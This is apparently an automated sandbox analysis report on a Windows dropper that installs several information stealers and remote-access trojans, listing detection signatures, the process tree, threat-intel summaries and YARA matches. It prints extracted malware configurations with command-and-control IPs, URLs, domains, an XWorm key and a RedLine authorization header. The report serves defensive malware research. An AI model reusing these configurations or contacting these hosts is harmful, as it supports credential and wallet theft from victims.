Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1520590
MD5:	b8fc8a5801e3c0172a199430c7dba1d6
SHA1:	2a53f4961410bea07de2259fd7875b30ae6a7856
SHA256:	c438ad0f0d3f595677bfd83cfbab377224cdcc7275f7954639c113e767e8ddf5
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, CryptOne, LummaC Stealer, PureLog Stealer, RedLine, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected CryptOne packer

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected PureLog Stealer

Yara detected RedLine Stealer

Yara detected Stealc

Yara detected Vidar stealer

Yara detected XWorm

Yara detected zgRAT

.NET source code contains very large array initializations

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Connects to many ports of the same IP (likely port scanning)

Contains functionality to inject code into remote processes

Creates multiple autostart registry keys

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

Installs new ROOT certificates

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

PE file has a writeable .text section

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses process hollowing technique

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Writes to foreign memory regions

Yara detected Costura Assembly Loader

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops certificate files (DER)

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 3320 cmdline: "C:\Users\user\Desktop\file.exe" MD5: B8FC8A5801E3C0172A199430C7DBA1D6)

axplong.exe (PID: 2676 cmdline: "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe" MD5: B8FC8A5801E3C0172A199430C7DBA1D6)

axplong.exe (PID: 3984 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: B8FC8A5801E3C0172A199430C7DBA1D6)

axplong.exe (PID: 2616 cmdline: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe MD5: B8FC8A5801E3C0172A199430C7DBA1D6)

gold.exe (PID: 4892 cmdline: "C:\Users\user\AppData\Local\Temp\1000002001\gold.exe" MD5: 389881B424CF4D7EC66DE13F01C7232A)

conhost.exe (PID: 3192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 3704 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

RegAsm.exe (PID: 2720 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

12dsvc.exe (PID: 6784 cmdline: "C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe" MD5: 84263AB03B0A0F2B51CC11B93EC49C9F)

conhost.exe (PID: 6600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 6696 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

esFzLrEqPw.exe (PID: 6928 cmdline: "C:\Users\user\AppData\Roaming\esFzLrEqPw.exe" MD5: A3EF9920A91B891837705E46BB26DE17)

VCIo8iTrPf.exe (PID: 5984 cmdline: "C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe" MD5: 4E60F3FD76D9EAB244F9DC00F7765B0B)

Nework.exe (PID: 432 cmdline: "C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe" MD5: F5D7B79EE6B6DA6B50E536030BCC3B59)

Hkbsse.exe (PID: 4868 cmdline: "C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe" MD5: F5D7B79EE6B6DA6B50E536030BCC3B59)

stealc_default2.exe (PID: 3488 cmdline: "C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe" MD5: 7A02AA17200AEAC25A375F290A4B4C95)

needmoney.exe (PID: 3360 cmdline: "C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe" MD5: 7FA5C660D124162C405984D14042506F)

svchost015.exe (PID: 5268 cmdline: C:\Users\user\AppData\Local\Temp\svchost015.exe MD5: B826DD92D78EA2526E465A34324EBEEA)

penis.exe (PID: 6200 cmdline: "C:\Users\user\AppData\Local\Temp\1000254001\penis.exe" MD5: A21700718C70EC5E787AD373CB72A757)

conhost.exe (PID: 5020 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

crypted.exe (PID: 3792 cmdline: "C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe" MD5: FF5AFED0A8B802D74AF1C1422C720446)

conhost.exe (PID: 3520 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 4816 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

LummaC222222.exe (PID: 5768 cmdline: "C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe" MD5: 2F1D09F64218FFFE7243A8B44345B27E)

newbundle2.exe (PID: 5580 cmdline: "C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe" MD5: 58E8B2EB19704C5A59350D4FF92E5AB6)

rstxdhuj.exe (PID: 1032 cmdline: "C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe" MD5: 1EF39C8BC5799AA381FE093A1F2D532A)

InstallUtil.exe (PID: 644 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe" MD5: 5D4073B2EB6D217C19F2B22F21BF8D57)

WerFault.exe (PID: 6868 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 644 -s 908 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cccc2.exe (PID: 3436 cmdline: "C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe" MD5: 6B470F7251AA9C14D7DAEA8F6446E217)

conhost.exe (PID: 3208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RegAsm.exe (PID: 3620 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

c6f71c9f40.exe (PID: 4016 cmdline: "C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe" MD5: AD0C6BD7353136531AF5325034613533)

Hkbsse.exe (PID: 4972 cmdline: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe MD5: F5D7B79EE6B6DA6B50E536030BCC3B59)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://91.202.233.158/e96ea2db21fa9a1b.php", "Botnet": "default"}

Threatname: LummaC

{"C2 url": ["lootebarrkeyn.shop", "gutterydhowi.shop", "reinforcenh.shop", "stogeneratmns.shop", "vozmeatillu.shop", "ghostreedmnu.shop", "offensivedzvju.shop", "fragnantbui.shop", "drawzhotdog.shop"], "Build id": "FATE99--Mix"}

Threatname: Xworm

{"C2 url": ["188.190.10.161"], "Port": "4444", "Aes key": "<Xwormmm>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Threatname: Vidar

{"C2 url": "http://91.202.233.158/e96ea2db21fa9a1b.php", "Botnet": "default"}

Threatname: Amadey

{"C2 url": "185.215.113.16/Jo89Ku7d/index.php", "Version": "4.41", "Install Folder": "44111dbc49", "Install File": "axplong.exe"}

Threatname: RedLine

{"C2 url": "89.105.223.196:29862", "Bot Id": "ERROR RDX", "Authorization Header": "21d3b2e8d7fdeff423c7a5819c5e64ed"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x58801:$s1: file:/// 0x58739:$s2: {11111-22222-10009-11112} 0x58791:$s3: {11111-22222-50001-00000} 0x54fb8:$s4: get_Module 0x4ec48:$s5: Reverse 0x4fa7a:$s6: BlockCopy 0x4eb63:$s7: ReadByte 0x58813:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\penis[1].exe	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\penis[1].exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\penis[1].exe	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0x58801:$s1: file:/// 0x58739:$s2: {11111-22222-10009-11112} 0x58791:$s3: {11111-22222-50001-00000} 0x54fb8:$s4: get_Module 0x4ec48:$s5: Reverse 0x4fa7a:$s6: BlockCopy 0x4eb63:$s7: ReadByte 0x58813:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\stealc_default2[1].exe	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\stealc_default2[1].exe	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\newbundle2[1].exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\Nework[1].exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
C:\Users\user\AppData\Local\Temp\svchost015.exe	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
C:\Users\user\AppData\Local\Temp\svchost015.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
Click to see the 13 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000013.00000002.2831867079.00000000005A1000.00000020.00000001.01000000.00000011.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000002.2262892966.0000000000201000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000023.00000002.3231251960.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000023.00000002.3231251960.00000000038A1000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x148345:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1483e2:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1484f7:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x147ed7:$cnc4: POST / HTTP/1.1
00000017.00000002.3070584798.0000000001081000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000011.00000000.2808170295.0000000000FF2000.00000002.00000001.01000000.0000000F.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000018.00000002.3021996080.0000000003129000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Crypt	Yara detected CryptOne packer	Joe Security
00000006.00000003.2725148895.0000000004A00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000029.00000003.3171679360.0000000005390000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000002.00000003.2222614082.0000000004A20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000014.00000000.2831681821.00000000005A1000.00000020.00000001.01000000.00000011.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000019.00000000.2952756193.0000000000AC2000.00000002.00000001.01000000.00000014.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000023.00000002.3116851630.0000000002971000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000023.00000002.3116851630.0000000002971000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x88c0d:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x88caa:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x88dbf:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8879f:$cnc4: POST / HTTP/1.1
00000000.00000003.2187029054.0000000005370000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000013.00000000.2830209557.00000000005A1000.00000020.00000001.01000000.00000011.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000017.00000002.3070584798.000000000101E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000002.3070584798.000000000101E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000014.00000002.2833629275.00000000005A1000.00000020.00000001.01000000.00000011.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000026.00000002.3514611255.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000026.00000002.3514611255.0000000000402000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x8775:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x8812:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x8927:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x8307:$cnc4: POST / HTTP/1.1
00000022.00000000.3039915900.0000000000051000.00000002.00000001.01000000.0000001D.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000011.00000002.3014501020.0000000003257000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000002.3027013594.00000000038C5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000003.00000002.2276396651.0000000000201000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000F.00000002.2809221317.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001E.00000000.2988347504.0000000000401000.00000020.00000001.01000000.00000019.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000023.00000002.3310805165.0000000005FA0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2227686049.0000000000B51000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000012.00000000.2818707390.0000000000931000.00000020.00000001.01000000.00000010.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.3514768739.0000000000201000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.3031467583.0000000003740000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001F.00000002.3201717209.0000000002D2A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000000.2849048856.0000000000931000.00000080.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000002.3376541999.0000000000BFE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000B.00000002.3514615123.0000000000421000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001F.00000002.3187193053.0000000000423000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000002.3065909202.0000000000931000.00000080.00000001.01000000.00000012.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000003.00000003.2235626454.0000000004C10000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000018.00000002.3030940765.0000000003710000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000002.2832307218.0000000000931000.00000020.00000001.01000000.00000010.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000002.2764953143.0000000004165000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000023.00000002.3116851630.0000000002821000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000001F.00000002.3201717209.0000000002E6B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: gold.exe PID: 4892	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 2720	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 6696	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: VCIo8iTrPf.exe PID: 5984	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: VCIo8iTrPf.exe PID: 5984	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: stealc_default2.exe PID: 3488	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: stealc_default2.exe PID: 3488	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: stealc_default2.exe PID: 3488	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: stealc_default2.exe PID: 3488	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: stealc_default2.exe PID: 3488	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: needmoney.exe PID: 3360	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: needmoney.exe PID: 3360	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: penis.exe PID: 6200	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: crypted.exe PID: 3792	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: svchost015.exe PID: 5268	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: svchost015.exe PID: 5268	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: svchost015.exe PID: 5268	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
